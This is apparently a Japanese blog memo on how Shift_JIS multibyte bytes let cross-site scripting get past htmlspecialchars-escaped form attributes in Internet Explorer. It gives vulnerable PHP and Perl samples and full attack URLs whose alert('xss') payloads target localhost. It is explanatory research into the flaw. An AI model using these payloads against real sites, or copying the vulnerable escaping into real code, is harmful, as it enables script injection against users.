Cross-Site Scripting
根が深い。(ぇ
文字コード(SJIS)とHTMLエンコードとCross-Site Scriptingの微妙な関係
もしかしたら周知の事実で私だけ遅れてるのかもしれないけど、メモってことで。IE限定。
PHPでHTMLエンコードされてるサンプルコードを書いてみた。
サンプルコード(SJISで保存してください) <form> text: <input type='text' name='text' value="<?= htmlspecialchars($_GET{'text'}) ?>"><br> text2: <input type='text' name='text2' value="<?= htmlspecialchars($_GET{'text2'}) ?>"><br> <input type=submit value="送信"> </form>
で、localhostに置いて、以下のURLに「IE」でアクセスしてみた。
攻撃の例 http://localhost/break_quote.php?text=text%81&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%81
あら不思議。「"」でvalueが括られてて、「"」「<」「>」のHTML特殊文字がHTMLエンコードされてるのにXSS動くんだ・・・って感じ。今まで知らずでした。ちなみにPerlのサンプルは↓な感じ。
サンプルコード use CGI; my $query=CGI->new(); my @text=($query->param('text'),$query->param('text2')); print $query->header(); foreach(@text){ $_ =~ s/</</ig; $_ =~ s/>/>/ig; $_ =~ s/"/"/ig; } print <<"EOM"; <form> text: <input type='text' name='text' value="$text[0]"><br> text2: <input type='text' name='text2' value="$text[1]"><br> <input type=submit value="送信"> </form> EOM 攻撃の例 http://localhost/break_quote.cgi?text=text%81&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%81
動く条件は、同時に2箇所挿入できる場所で、間に「"」*1が無い事。FireFoxでもタグは壊れるが、なんか動かん。悲しい。*2
ごくたまに、valueだけ括ってる場合があるけど、それだときっと動くのね。あははん。
説明
↑はなんかだいぶ端折っちゃった。あは。
まず、IEだと、複数行に渡って属性を記述することが可能です。
属性記述の例 <input type="text" value="t e s t ">
そこで、こんなことも可能なわけです。
属性記述の例
<input type="text" name="text1" value="text1">
<input type="text" name="text2" value="text2">
↓
<input type="text" name="text1" value="" test='">
<input type="text" name="text2" value="' style=background:url(javascript:alert('xss')) "">
2つで1個のタグとして動作させられます。*3
そこで、つまり、終わりの「"」を別の文字に変化させれば、属性が続いていることになり、次の「"」までが属性になってしまいます。その後ろにスペースを入れてあげれば、続けて属性を記述できます。
後は、つじつまを合わせるために、後ろ側の「"」も無効にしてあげればいいのです。上の例の攻撃成功時のHTMLをベースに色分けしてみました。
<form>
text: <input type='text' name='text' value="text[%81"で別の文字になる]><br>
text2: <input type='text' name='text2' value=" style=background:url(javascript:alert('xss')) [%81"で別の文字になる]><br>
<input type=submit value="送信">
</form>
という感じ。緑のところがごっそり属性値になっちゃいましたとさ。という感じなんです。
ちなみに%81にしてるところは、%81〜%8fまでいけます。%E1〜%EFもいけたように見えました。